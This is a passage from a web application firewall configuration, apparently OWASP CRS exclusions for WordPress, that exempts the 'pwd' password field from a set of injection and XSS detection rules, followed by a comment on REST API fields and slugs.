ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
# Saving through the REST API, the JSON fields title, excerpt and name skip these
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only